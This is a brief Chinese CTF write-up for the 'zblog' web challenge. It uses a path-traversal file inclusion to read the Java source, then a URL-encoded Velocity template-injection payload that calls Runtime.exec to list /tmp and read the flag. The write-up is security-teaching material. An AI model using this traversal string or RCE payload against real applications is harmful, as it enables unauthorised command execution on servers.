[Web] zblog - Donek1 xp0int Posted on Sep 6 2020 title文件包含,首先包含pom.xml看一眼。 ![title](https://leanote.com/api/file/getImage?fileId=5f47cdb5ab644151d6000c92) 看到home,ctf和mainclass是Blog那么包含这个路径:../../../../../../../home/ctf/web/src/main/java/Blog.java,发现了源码,进行审计发现存在ssti(现成的漏洞) ![title](https://leanote.com/api/file/getImage?fileId=5f47ce8eab644151d6000c99) 参考两篇文章: https://xz.aliyun.com/t/8135#toc-2 https://cloud.tencent.com/developer/article/1532753 就是将title记录日志,但是下次访问会解析执行,存在ssti。直接使用文章内的payload打。 先ls下/tmp目录 payload:%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20/tmp%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end ![title](https://leanote.com/api/file/getImage?fileId=5f47ceeaab64414f97000bf1) 使用返回的cookie访问相应的文件 ![title](https://leanote.com/api/file/getImage?fileId=5f47cef9ab64414f97000bf2) 发现成功列目录了,然后找flag,flag在根目录,直接读取即可 ![title](https://leanote.com/api/file/getImage?fileId=5f47cf0dab644151d6000ca1) flag:flag{e27b7a2ff527416ebc0817ac104152d6} 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] babyrpc - cpt.shao [Crypto] confused_flag - match
没有帐号? 立即注册